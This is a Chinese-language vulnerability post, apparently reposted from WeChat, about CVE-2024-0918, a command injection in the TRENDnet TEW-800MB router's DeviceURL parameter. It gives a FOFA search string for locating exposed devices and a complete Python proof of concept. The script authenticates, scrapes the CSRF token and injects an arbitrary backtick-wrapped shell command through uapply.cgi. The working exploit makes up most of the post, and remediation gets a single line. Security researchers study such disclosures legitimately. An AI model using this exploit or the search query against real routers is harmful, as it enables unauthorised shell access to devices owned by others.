免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!
01 漏洞名称
02 漏洞影响
TRENDnet TEW-800MB 1.0.1.0
03 漏洞描述
固件版本为1.0.1.0的TEW-800MB路由器存在命令注入漏洞。如果攻击者获得了web管理权限,他们可以将命令注入到httpd未知函数中的post请求参数DeviceURL中,从而获得shell权限。该漏洞可以在本地Intranet上执行,如果启用了远程管理,则可以远程执行。
代码分析
在未知函数中,参数DeviceURL可以被用户控制,存在命令注入漏洞按照DeviceURL的值,发现system()函数调用
环境设置:
环境配置请参考如下链接
https:
//github.com/pr0v3rbs/FirmAE
最终搭建好是这个样子
04 FOFA搜索语句
"TRENDnet-TEW"
05 poc
poc文件内容如下
import
requests
import
base64
import
re
if
__name__ ==
'__main__'
:
print(
'start !!! '
)
target = input(
"Enter Target IP : "
)
username = input(
"Enter Username : "
)
password = input(
"Enter Password : "
)
cmd = input(
"Enter you want cmd : "
)
auth = username +
":"
+ password
hash = base64.b64encode(auth.encode(
'utf-8'
)).decode(
'utf-8'
)
s = requests.Session()
headers = {
'User-Agent'
:
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0"
,
'Accept'
:
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
,
'Accept-Language'
:
"en-US,en;q=0.5"
,
'Accept-Encoding'
:
"gzip, deflate, br"
,
'Authorization'
:
f'Basic
{hash}
'
,
'Connection'
:
"close"
,
'Cookie'
:
"expandable=6c"
,
'Upgrade-Insecure-Requests'
:
"1"
}
response = s.request(
"GET"
,
f'http://
{target}
/adm/management.asp'
, headers=headers)
data = response.text
token_pattern =
r'name="token" value="([^"]+)"'
token_match = re.search(token_pattern, data)
if
token_match:
token_value = token_match.group(
1
)
else
:
token_value =
"Token not found"
print(token_match)
exit
burp0_url =
"http://"
+ target +
"/uapply.cgi"
burp0_headers = {
'User-Agent'
:
'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0'
,
'Accept'
:
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8'
,
'Accept-Language'
:
'en-US,en;q=0.5'
,
'Accept-Encoding'
:
'gzip, deflate, br'
,
'Content-Type'
:
'application/x-www-form-urlencoded'
,
'Authorization'
:
f'Basic
{hash}
'
,
'Connection'
:
'close'
,
'Cookie'
:
'expandable=6c'
,
'Upgrade-Insecure-Requests'
:
'1'
}
# Form data to be sent in POST request
burp0_data = {
'page'
:
'/adm/management.asp'
,
'token'
:
f'
{token_value}
'
,
'DeviceURL'
:
f'tew-800mb`
{cmd}
`'
,
'action'
:
'Apply'
,
'apply_do'
:
'setDeviceURL'
,
}
s.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(
"end !!! "
)
命令注入成功
06 修复建议
升级到最新版本。
原文始发于微信公众号(AI与网安):CVE-2024-0918
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论